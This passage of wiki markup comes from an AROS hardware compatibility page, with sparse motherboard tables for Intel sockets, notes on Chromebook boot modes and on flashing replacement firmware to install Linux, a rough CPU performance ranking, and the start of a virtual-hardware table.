| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2025 64bit 7nm - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Nova Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2026 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Panther Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2026 64bit - either 44, 484, or 448 tiled cores 18A process - core ultra x9 288h, x7 358H, - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1954 (2027/ )=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Nova Lake-S
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Serpent Lake, Titan Lake, and Razer Lake
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2027
|-
|}


=====Socket LGA (203x/203x)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;MSI
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


===Chromebooks===

For most (EOL) cromebooks, the recommended UEFI path forward is to:

*put the device into Developer Mode
*disable firmware write protection
*flash MrChromebox's UEFI Full ROM firmware
*install ChromeOS Flex, Linux, etc


See [https://mrchromebox.tech/#home MrChrome], [https://mrchromebox.tech MrChrome] and the [https://www.reddit.com/r/chrultrabook/ chrultrabook subreddit] for more info


ChromeOS has several different boot modes, which are important to understand in the context of modifying your device to run an alternate OS:

*Normal/Verified Boot Mode
        Can only boot Google-signed ChromeOS images
        Full verification of firmware and OS kernel
        No root access to the system, no ability to run Linux or boot other OSes
        Automatically enters Recovery Mode if any step of Verified Boot fails
        Default / out-of-the-box setting for all ChromeOS devices

*Recovery Mode
        User presented with Recovery Mode boot screen (white screen with 'ChromeOS is missing or damaged')
        Boots only USB/SD with signed Google recovery image
        Automatically entered when Verified Boot Mode fails
        Can be manually invoked:
        On Chromebooks, via keystroke: [ESC+Refresh+Power]
        On Chromeboxes, by pressing a physical recovery button at power-on
        On Convertibles/Tablets, by holding the Power, Vol+, and Vol- buttons for 10s and then release
        Allows for transition from Verified Boot Mode to Developer Mode
        On Chromebooks/Chromeboxes, via keystroke: [CTRL+D]
        On Convertibles/Tablets, via button press: Vol+/Vol- simultaneously
        Booting recovery media on USB/SD will repartition/reformat internal storage and reload ChromeOS

Note: The ChromeOS recovery process does not reset the firmware boot flags (GBB Flags), so if those are changed from the default, they will still need to be reset for factory default post-recovery.

*Developer Mode
        &quot;Jailbreak&quot; mode built-in to every ChromeOS device
        Loosened security restrictions, allows root/shell access, ability to run Linux via crouton
        Verified Boot (signature checking) disabled by default, but can be re-enabled
        Enabled via [CTRL+D] on the Recovery Mode boot screen
        Boots to the developer mode boot screen (white screen with 'OS verification is off' text), 

The user can select via keystroke 
&lt;pre&gt;
           ChromeOS (in developer mode) on internal storage ( [CTRL+D] )
           ChromeOS/ChromiumOS on USB ( [CTRL+U] )
           Legacy Boot Mode ( [CTRL+L] )
&lt;/pre&gt;
Boot screen displays the ChromeOS device/board name in the hardware ID string (eg, PANTHER F5U-C92, which is useful to know in the context of device recovery, firmware support, or in determining what steps are required to install a given alternate OS on the device.

*Legacy Boot Mode
        Unsupported method for booting alternate OSes (Linux, Windows) via the SeaBIOS RW_LEGACY firmware 
        Accessed via [CTRL+L] on the developer mode boot screen
        Requires explicit enabling in Developer Mode via command line: sudo crossystem dev_boot_legacy=1 
        Most  ChromeOS devices require a RW_LEGACY firmware update first
        Boots to the (black) SeaBIOS splash screen; if multiple boot devices are available, prompt shows the boot menu

Note: If you hear two beeps after pressing [CTRL+L], then either your device doesn't have a valid Legacy Boot Mode / RW_LEGACY firmware installed, or legacy boot capability has not been been enabled via crossystem.


https://www.howtogeek.com/278953/how-to-install-windows-on-a-chromebook/

Chromebooks don’t officially support other OSs. You normally can’t even install as Chromebooks ship with a special type of BIOS designed for Chrome OS. But there are ways to install, if you’re willing to get your hands dirty and potentially ruin everything 

[https://mrchromebox.tech/#devices Firmware Compatibility] 

[https://wiki.galliumos.org/Hardware_Compatibility Here is the list of hardware that the GalliumOS supports and information on getting Gallium OS on to those devices]

Development on GalliumOS has been discontinued, and for most users, GalliumOS is not the best option for running Linux due to lack of hardware support or a kernel that's out of date and lacking important security fixes.

Meet Eupnea and Depthboot, the successors to Galliumos and Breath [https://eupnea-linux.github.io This is the bleeding edge] 

Most older Chromebooks need the write-protect screw removed in order to install MrChromebox's firmware that allows you to install other operating systems. Most newer Chromebooks don't work in the same way as there is no write-protect screw on them. 


Very rough guide to '''total''' (i.e. all cores / threads) processor performance (AROS usually uses only the [https://gmplib.org/gmpbench one core]) 

[[#top|...to the top]]

&lt;pre&gt;

060000    AMD Ryzen 9 7900X (AM5 170W), 
056000    AMD Ryzen 9 5950X, 
055000    AMD Ryzen 9 5900X3D, 
053000    AMD Ryzen 9 5900X (AM4 105W), AMD Ryzen 9 3950X (105W), 
044000    AMD Ryzen 7 5800X3D, 
042000    AMD Ryzen 9 6900HX, AMD Ryzen 5 5600X3D (AM4 95W), AMD Ryzen 7 PRO 5750GE (AM4 35W), 
039000    AMD Ryzen 9 5900HS, Intel Core i7-12700T, AMD Ryzen 7 7735HS (8c16t 45W), AMD 8840U, 
038000    AMD Ryzen 7 5800H (FP6 45W), AMD Ryzen 7 6800U, Intel Core i5-12490F, Intel Core i5-12500E,   
037000    AMD Ryzen 7 5800HS (FP6 35W), AMD Ryzen 5 8500G 8600GE (AM5 6c12t 35W), AMD Ryzen Z2 (8c16t), 
036500    AMD Ryzen 7 5700G (AM4 8c16t 65W), AMD Ryzen 9 6900HS, Intel Core i7-12800H, 
036200    AMD Ryzen 7 5700GE (AM4 8c16t 35W), AMD Ryzen Z1 Extreme (top TDP), AMD Ryzen 5 8600G (AM5 65W), 


036000    AMD Ryzen 5 3600X (Am4 95W), AMD Ryzen 5 5500 (AM4 65W), AMD Ryzen 5 5600 (65W), 
035000    AMD Ryzen 5 6600H, Intel Core i5-12400F, 
031000    AMD Ryzen™ 9 8945HS, Ryzen™ 7 8845HS, AMD Ryzen 7 7840U, 
030000    AMD Ryzen 7 4800U, AMD Ryzen 4800H, Intel Core i5-11400F, Intel Zeon E5-2697A V4, 
029500    AMD Ryzen 5 4500 (AM4 65W), AMD Ryzen 5 3600 (65W), Apple M3 Pro 12c, AMD Ryzen 5 5600G, 
028500    AMD Ryzen 5 PRO 5675U, AMD Ryzen 7 1700 (AM4 65W), AMD Ryzen 7 2700 (65W), Ryzen 3 7540U, 
028000    AMD Ryzen 5 PRO 5650U, 5 5560U (FP6 25W 6c12t Zen3), Intel Core i5-13500H, AMD Ryzen 7 4800HS, 
027700    AMD Ryzen 9 PRO 7940HS (FP8 65W), AMD 8745HS, AMD Ryzen H255 AI, AMD Ryzen 3 7545U, 
027500    AMD Ryzen 3 7736U, AMD Ryzen 5 7640U, 
027400    AMD Ryzen 5 8540U, AMD Ryzen 5 PRO 5650GE (AM4 6c12t 35W), AMD Ryzen 5 PRO 4650G (AM4 45W), 
027300    AMD Ryzen 7 PRO 4750GE, AMD Ryzen 5 5600H, AMD Ryzen 7 5825U (FP6 8c16t 15W), 
027200    AMD Ryzen 5 6600U, AMD Ryzen 7 2700X, AMD Ryzen 5 5600GE (AM4 35W), AMD Ryzen Z1, 
027100    AMD Ryzen 7 7730U (FP6 15W 8c16t), AMD Ryzen 7 5800U (FP6 25W 8c16t), Ryzen 9 4900H, 
027000    AMD Ryzen 7 PRO 4750U (8c16t), Ryzen 5 7430U (FP6 6c12t), Ryzen 5 PRO 6650U, Intel 10500H, 
026500    AMD Ryzen 7 PRO 7840HS (FP7 65W), AMD Ryzen 7 8840HS, AMD Ryzen Z2 Extreme, 
025000    AMD Ryzen 5 4600HS (FP6 35W 6c12t), Apple M1 Pro, AMD Ryzen 5 5625U (FP6 15W 6c12t),
024500    AMD Ryzen 5 5600U (FP6 25W hot 6c12t Zen3), AMD Ryzen 5 2600 (65W), Ryzen 5 7530U, 
024000    AMD Ryzen 5 4600G (AM4 65W), AMD Ryzen 5 PRO 4650GE (AM4 35W), AMD Ryzen 7 PRO 1700X (AM4 95W), 
023700    AMD Ryzen 3 PRO 5350GE (AM4 35W), AMD Ryzen 5 3500X (AM4 95W), Intel Core i7-9700, 
023500    AMD Ryzen 5 1600X (95W), AMD Ryzen 3 5300GE (AM4 4c8t 35W), AMD Ryzen 7 5700U (FP6 25W 8c16t Zen2), 
023200    AMD Ryzen 3 7330U (FP6 15W 4c8t), AMD Ryzen 7 4700U (FP6 25W 8c8t), AMD Ryzen 5 4400G, 
023000    Intel Core i7-1255U, Intel Core i7 13700H, Ryzen 7640HS, 
022000    AMD Ryzen Z2 Go (4c8t), AMD Ryzen 5 5500U (FP6 25W 6c12t Zen2), Snapdragon 8 Elite, 


020500    AMD Ryzen 3 4300G (AM4 65W), AMD Ryzen 3 5450U 5425U, AMD Ryzen 5 PRO 4650U (6c12t), 
019500    Intel Core i5-1135G7, AMD Ryzen 5 5500H, AMD Ryzen 5 4600U (FP6 25W 6c), AMD Ryzen 5 2600 (65W), 
019250    Intel Core i5-1145G7, 
019000    AMD Ryzen 5 3400G (AM4 65W), AMD Ryzen 5 2500X, AMD Ryzen 5 7520U, AMD Ryzen V3C18I (? 15W),
017750    AMD Ryzen 5 3400GE (AM4 35W), Intel Core i5-8400, AMD Ryzen 5 1500X (AM4 65W), Xbox One Series X, 
017500    Intel Core i7-6700K, Intel i5-10400, AMD Ryzen 5 4500U (FP6 25W 6c6t), AMD Ryzen 3 5400U, 
017000    AMD Ryzen 3 PRO 4350GE (AM4 35W), AMD Ryzen 3 5300U (FP6 25W 4c8t), Intel Core i5-11300H, 
016500    AMD Ryzen 7 3750H, AMD Ryzen Embedded V1756B (FP5 45W), AMD Ryzen 3 PRO 4200GE, SD G3 Gen3, 
016250    Intel Core i5-1035G7, intel core i5 7600 (4c4t 65W), 
016000    AMD Ryzen 5 2400G (AM4 65W), AMD Ryzen 5 3550H, Ryzen 5 PRO 3350GE (4c 8t), Intel Core i5-8500T, 
015500    AMD Ryzen Embedded R2544, Apple A19 Pro, Intel i7-4790K, 
015000    AMD Ryzen 3 7320U, Ryzen 7 3700U, Ryzen 3200G (AM4 65W), Intel Core i7-8550U, Intel Core i5-1035G1, 
014000    AMD Ryzen 5 2400GE (AM4 35W), Intel Core i7-6700T, AMD Ryzen 5 3550U, 
013500    AMD Ryzen 5 3500U (FP5 15W 4c8t), AMD Ryzen 3 4300U, AMD Athlon Gold 4150GE, AMD Ryzen 5 3450U, 
013250    AMD Ryzen 3 3200GE (AM4 45W), AMD Ryzen 3 1300X (65W), AMD Ryzen 3 2200G, Xbox One Series S, 
013000    AMD Ryzen Embedded V1605B (FP5 25W), AMD Ryzen 2700U, AMD Ryzen R2514, Apple A18, 
012500    AMD Ryzen 5 2500U (FP5 25W 4c8t), Intel Core i3-8300T, Intel Xeon X5680, Intel i3-1115G4 (2c4t), 


012300    Intel Core i7-8565U, Intel Core i5-8350U, Intel Core i7-8700, Allwinner A733 (2 A76, 6 A55), 
012200    ARM Cortex-X3 Prime Snapdragon SD8G2 Gen2 4nm 64-bit Kryo CPU, i5-8250U (4c8t), 
012000    AMD Ryzen 3 2200GE, AMD Ryzen 3 1200 (65W), AMD Ryzen 5 3500C, 
011500    AMD Ryzen 3 3300U, Intel Core i3-8100T, Intel Core i5-8265U, Intel i5-10210U, CORE i5-10310U, 
010500    AMD Ryzen 3 2300U (FP5 25W 4c4t), Allwinner A527 (8 A55), Intel i5 4690K, 
010300    Intel Core i7-3630QM, Intel Core i5-6600T, Intel Core i5-4670K, 
010200    Intel Core i5-6440HQ, Intel Core i7-3610QM, Snapdragon SD865, 
010000    AMD FX-8320E (AM3+ 125W 8c8t), Intel Core i5-7500T, Intel Core i5-4690, Intel i5 4690T, 
009000    Spectrum Unisoc Tiger T7280 (T620), Cortex-X2, MediaTek Dimensity 1300 (4 A78, 4 A55), 
008700    AMD FX-6130 (AM3+ 90W 6c6t), Intel Core i5-7400T, Intel Core i5-4590T, 
008500    Intel Core i5-6500T, AMD Athlon 300GE (AM4, 35W), AMD Athlon Gold 7220U, 
008000    AMD Ryzen R1606G (FP5 15W), AMD FX-6300 (AM3 65W 6c6t), Intel Core i5-2500K, 
007500    AMD Ryzen 3 3200U, AMD Ryzen 3 3250U, Intel Alderlake ULX N100 / N95, 
007200    AMD Ryzen 3 2200U (FP5 25W 2c4t), Intel Core i3-7100T, Intel Twinlakes N150 N200, Xbox(TM) One S, 
007100    AMD Ryzen R1505G (FP5, 15W), RK3576 4 A72, 4 A53, Snapdragon XR2 Gen 1, Intel i7-6600U and 7600U, 
006600    Qualcomm Snapdragon 888 5G, AMD Athlon 300U (FP5 2c4t 15W), Intel Core i7-7500U, AMD V1202B, 
006500    Intel Core i7-6500U, AMD Athlon Gold 3150U, Intel Celeron N5105 (FCBGA1338 15W), SD 685, 
006300    Intel Core i3-8130U (15W), Intel Celeron N5095 (FCBGA1338 15W), Intel Core i3-6100T,
006100    Intel Core i5-6300U, Intel Core i5-7200U (2c4t), Intel i7-5500U, Intel Core i7-6600U (2c4t), 
006000    Intel Core i5-6200U (2c4t), Intel Core i3-7130U, Intel i7-4500U, Qualcomm Snapdragon 888 4G, 
005950    Intel Core i5-4570T, Intel Core i5-5257U, Rockchip RK3588 (4 A76, 4 A55), Snapdragon 7325, 


005900    Intel Xeon X5550, Intel Core i5-4300M, MediaTek Dimensity 1200 (4 A78, 4 A55), Unisoc 7255 (T616), 
005800    Intel Celeron J4125 J4105 (FCBGA1090 15W), Intel Core i5-3470T, AMD A8-6600K APU, AMD 3015E (2c4t), 
005600    Intel Core i5-3360M, Intel Core i7-3520M, Intel Core i5-4210M, Intel Pentium G4600T,
005400    MediaTek Dimensity 900 (2 A78, 6 A55), AMD Athlon Silver 7120U, Snapdragon 860, 
005300    AMD PRO A12-9800B 7th Gen APU (FP4 15W), AMD FX-4300 4c4t, AMD Ryzen R1305G, 
005250    Intel Core i5-3230M, AMD FX-7600P, Intel Pentium G4400, Unisoc T7200 (Unisoc T606 2 A76, 6 A55), 
005200    AMD PRO A10-8770E, AMD A10-9700E, AMD PRO A10-9700B (FP4 15W), Intel Core i3-4130T, 
005100    AMD RX-427BB (FP3 15W), AMD A10-9620P, AMD A12-9720P, Intel Core i3-8145U, AMD A12-9830B, 
005050    AMD A8-5500 (FM2 65W), AMD A10 PRO-7800B APU, Intel Pentium Silver N5000, Intel Core i7-5500U, 
005000    Intel Core i5-5300U, Intel Core i5-3320M (2c4t), Intel Core i5-5350U, Unisoc T618 (2 A73 6 A53), 
004900    Intel Core i5-4300U, Intel Core i5-5200U, Intel Core i3-4100M, Snapdragon 662 (SM6115), 
004860    Intel Core i7-2620M, Intel Core i7-2640M, AMD Athlon Silver 3050U 3050e, Intel i3-7020U, 
004650    Intel Core i5-2520M (2c4t), Intel Core i5-3210M, AMD A10-9600P (FP4 4c 15W), Pentium 4415U, 
004625    Intel Core i3-7100U (FCBGA1356 15W), ARM A76 RK3588S, AMD A10-6800B APU, 
004600    AMD PRO A8-9600B, AMD PRO A12-8830B, AMD PRO A10-8730B, AMD A12-9700P, Intel Core i3-6100U, 
004200    AMD A10-8700P A8-8600P, Intel Core i5-4200U, Intel Core i5-2540M, Intel i3-6006U, Intel i3-4150T, 
004000    Intel Core i5-2430M, AMD PRO A8-8600B, AMD 3020e, Mediatek MT6797 Helio X20, 
003850    Intel Core i5-2410M (2c4t), Intel Core i3-2120 (LGA1155 65W), Mediatek MT8786, 
003800    AMD A10-4600M APU, AMD A10 PRO-7350B APU, AMD A10-5750M APU, Rockchip RK3399, 
003600    AMD A8-6500T APU, AMD A8-7410 APU, AMD PRO A6-8550B, AMD A8-5550M (4c4t), 


003500    AMD GX-424CC SOC (FT3b 25W 4c4t), ARM A75 Unisoc Tiger T610 (Spreadtrum) (8c 5W), intel i5-5250u, 
003400    AMD A10-7300 APU, AMD A6-7310 APU, AMD A8-6410, AMD A10-5745M APU, Intel Core i3-4000M, 
003350    Intel Pentium G2020, Intel Core i3-3120M (G2 2c4t), AMD R-464L APU, Intel® Core m5-6Y57 (2c4t),
003300    AMD GX-420CA SOC (FT3 BGA769 25W), AMD A6-9500E, Intel Celeron N4200, AMD A6-5200 ( 25W 2c2t), 
003200    AMD A6-6310 APU, AMD A6-6400B APU, AMD A6-8570E, AMD A8-4500M APU, AMD A6-7400K APU, 
003000    AMD A8-7150B, AMD A9-9410, A9-9420, A9-9425, AMD A6-8500B (FP4 15W), AMD A8-7100, Intel 5010u,  
002900    AMD PRO A6-8530B, AMD A6-8500P, AMD A8-3500M APU, Intel Core i3-2120T, Intel i5-4250u, 
002700    AMD Embedded GX-420GI (FP4 15W), AMD PRO A6-9500B, AMD GX-415GA, AMD A4-6210 APU, Intel i3-5005U, 
002600    AMD A6-9225, AMD A8-4555M APU, AMD A4-5000 APU (FT3 15W), AMD A6-9220, AMD A6-3420M APU,  
002450    Intel Celeron 2950M, Intel Pentium N3700, Intel Core i3-2350M, Allwinner A523 (8 A55), 
002400    Intel Celeron N3150, Intel Core i3-2330M, Intel Xeon W3505, AMD A6-9210, Allwinner H618 (4 A53), 
002300    Intel Celeron N3350, AMD A4-9120, AMD A4-9125, Intel Core i3-2310M, Intel Celeron 3865U, 
002200    AMD A9-9420e, AMD A6-5350M APU, AMD E2-6110 APU, AMD E2-9000e, Celeron N4500, Intel N3710, 
002000    AMD GX-412HC, AMD A4-4300M APU, AMD A6 PRO-7050B APU, AMD A6-4400M APU, AMD A6-7000,    
001925    Intel Core2 Duo E6700, Intel Pentium Extreme Edition 965, Intel Core i3-370M, Celeron N4020, 
001750    Intel Core i3-2365M 2375M, AMD A4-9120C, Intel Core2 Duo T8300, Qualcomm MSM8939, 
001600    AMD GX-222GC (BGA769 FT3b 15W), AMD A4-9120e, AMD Embedded GX-215JJ, AMD A4-4355M APU,
001550    Intel Core2 Duo SL9400 T7600 T6600, AMD E2-3200, AMD A6-9220e, Mediatek MT8783, AMD E2-3800, 
001520    Intel Celeron N4000, 


001500    AMD GX-218GL SOC, AMD A6-4455M, AMD A4-5150M APU, ARM A55 RK3566 (4c 3W), Intel Core2 Duo T8100, 
001400    AMD GX-217GA SOC, ARM Cortex-A53 4c4t H700, AMD A4-3300M APU, Allwinner A133P A64 (4 A53), 
001300    AMD Turion 64 X2 Mobile TL-64 TL-62, Intel Core2 Duo T7300, Intel Core2 Duo T5600, AMD RX-216TD, 
001250    AMD GX-412TC SOC, AMD A4-3320M APU, AMD Athlon 64 X2 QL-66, Intel Core2 Duo T7200
001200    AMD Athlon 64 X2 2c TK-57,  AMD Turion 64 X2 Mobile TL-60 RM-74, AMD E1-2500, AMD E2-7015, 
001150    Intel Core2 Duo T5550, Intel Core2 Duo L7500, AMD E2-3000M APU, ARM A35 RK3266, AMD E2-7110, 
001100    Intel Core2 Duo T5300, AMD Athlon 64 X2 3800, Intel Core2 Duo E4300, Mediatek MT8127, 
001050    AMD E1-6010 APU, Intel Pentium T4300, Intel Celeron N2840, 
001050    AMD Athlon 64 FX-57, AMD Athlon 64 X2 Dual-Core TK-55, AMD Turion 64 X2 Mobile TL-52
001000    Intel Core2 Duo T5500, Intel Core2 Duo L7300, Intel Core2 Duo SU9400, Intel Celeron 3215U,  
000950    AMD G-T56N, AMD Athlon 64 3100+, AMD E2-2000 APU, QorIQ T1042 quad-core,  
000950    AMD Turion 64 X2 Mobile TL-50, AMD E1-2200 APU, Intel Celeron U3400,     
000925    AMD TurionX2 Dual Core Mobile RM-72, AMD Sempron 140
000920    Intel Celeron SU2300, Intel Core2 Duo T5200, AMD Turion 64 X2 Mobile TL-56
000890    AMD E2-1800 APU, AMD Turion 64 X2 Mobile TL-58
000880    AMD G-T56E, AMD G-T48E, 
000860    AMD E-450 APU, AMD E-350 APU, AMD Athlon LE-1620     
000820    AMD A4-1250 APU, AMD Athlon LE-1600, 
000810    AMD E1-2100 APU, Intel Core Duo T2500,      
000810    Intel Atom D510, Intel Core2 Duo U7500,     
000800    AMD Geode NX 2400+, AMD Turion 64 Mobile ML-42, AMD Athlon II Neo K325, 
000760    AMD V140, AMD E1-1200 APU, AMD Athlon 64 3300+, 
000730    Intel Core Duo T2400, AMD Turion 64 Mobile MK-38, AMD Sempron 3600+,  
000700    Intel Core2 Duo U7600 U7700, AMD Sempron LE-1200, AMD V120 
000680    AMD GX-212JC SOC, AMD E-300 APU, AMD A4-1200 APU, 


000670    AMD Turion 64 Mobile MK-36 ML-37 ML-40, Mobile AMD Sempron 3800+
000640    Intel Atom N2600, Intel Atom N570, Mobile AMD Athlon 64 3200+
000640    Intel Core Duo T2300, Intel Core Duo T2050,     
000630    VIA Eden X2 U4200, AMD Sempron LE-1100, AMD Sempron 3100+ 3600+, 
000620    AMD C-70 C70 APU, Intel Atom 330, AMD G-T40N, AMD Athlon Neo MV-40, 
000610    Intel Core2 Duo U7300, AMD Athlon II Neo K125 K145,    
000600    Intel Atom N550, Intel Pentium 4, AMD Athlon 64 2800+,   
000580    AMD C-60 C60, AMD G-T40E, AMD Sempron LE-1250
000530    AMD C-50 C50, Intel Celeron M 723, AMD Sempron 210U, 
000490    AMD GX-210JA SOC, PowerPC 970 G5 IBM's 970 server CPU (2c), QorIQ T1022
000470    Mobile AMD Sempron 3500+, Mobile AMD Athlon XP-M 2200+, 
000460    AMD Athlon XP 2500+, AMD Sempron 3500+, Mobile Intel Pentium 4, 
000440    Intel Atom D425, Intel Atom N470, POWER 4 PPC, 
000410    Intel Pentium M, Intel Celeron M, AMD Sempron 2300+
000400    Intel Atom N450, AMD Sempron 2400+, 
000340    Intel Atom D410, AMD G-T52R, AMD C-30, AMD Sempron 2200+ 
000330    Intel Atom N455, Intel Atom N280, Intel Atom N270 (1c1t 2W), Intel P3, 
000320    Freescale NXP QorIQ P1022 
000310    PowerPC G4 7447 1Ghz (1c1t 15W), PPC440 core, 
000230    PowerPC PPC G3/PPC 750, 
000160    Pentium II, Motorola 68060 
000080    Intel 80486, Motorola 68030, 
000040    Intel 80386, 
000030    Motorola 68020
000008    Motorola 68000 
&lt;/pre&gt;


=== Recommended hardware (32-bit) ===

[[#top|...to the top]]

Recommended hardware is hardware that has been tested with latest release of AROS and is relatively easy to purchase second hand (ie. ebay). This hardware also comes with commitment that compatibility will be maintained with each future release.

If in future decision will be made to drop any of the recommended hardware from the list (for example due to it no longer being available for purchase), such hardware will move to list of legacy supported systems and will have an indicated end of life date so that users have time to switch to other hardware.

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}

==== Virtual Hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| VirtualBox 7.x (Other/Unknown template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|HDAudio}} || {{Yes|PCNET32&lt;br/&gt;E1000}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
| VMware 16+ (Other32 template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
